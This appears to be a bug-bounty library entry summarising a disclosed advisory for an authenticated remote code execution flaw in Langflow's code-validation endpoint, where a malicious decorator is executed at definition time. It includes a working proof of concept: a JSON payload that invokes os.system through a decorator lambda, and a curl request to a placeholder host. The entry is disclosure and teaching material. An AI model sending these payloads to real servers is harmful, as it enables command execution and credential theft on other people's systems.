# Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

Langflow's /api/v1/validate/code exec()s submitted FunctionDef nodes, so a malicious decorator runs arbitrary code as any authenticated user.

- Payout: Research
- Severity: high
- Program: Langflow
- Found by: ESPanda666, l3tchupkt, andifilhohub
- Disclosed: 2026-10-05
- CVE: CVE-2026-51886
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w584-2h2r-2hvf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w584-2h2r-2hvf
- Tags: area:ai domain:ai domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:rce

**Target:** POST /api/v1/validate/code code-validation endpoint
**Root cause:** validate_code() compiles and exec()s each submitted ast.FunctionDef to surface errors; exec of a def evaluates decorators and default arguments immediately, so attacker-supplied expressions run despite the intent to only validate definitions.
**Steps:**
1. Authenticate to Langflow and obtain a valid access token or API key.
2. POST to `/api/v1/validate/code` with JSON body `{"code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n    pass"}`.
3. Server exec()s the FunctionDef, evaluating the decorator lambda and running the os.system command.
4. Verify `/tmp/pwned` exists on the server filesystem.
**How found:** Noticed the validator exec()s FunctionDef nodes to check for errors; reasoned that exec of a def does not run the body but does evaluate decorators at definition time, giving a code-execution primitive inside a 'validation' sink.
**Exploitation:** Any authenticated user (or anyone under AUTO_LOGIN) submits a function definition whose decorator is a lambda invoking __import__('os').system(...); the validation endpoint exec()s it, executing commands with the Langflow process privileges to read env vars/DB creds, modify files, or pivot internally.
**Insight:** When a code validator exec()s or evals parsed AST nodes, remember Python evaluates decorators, default arguments, base classes and annotations at definition time — any of these is an execution vector even if function bodies are never called.

## Proof of concept (copied exactly from the original report)

**JSON payload with malicious decorator**

```
{
  "code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n    pass"
}
```

**curl request to validate/code endpoint**

```
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
     -H "Authorization: Bearer <YOUR_TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n    pass"}
```

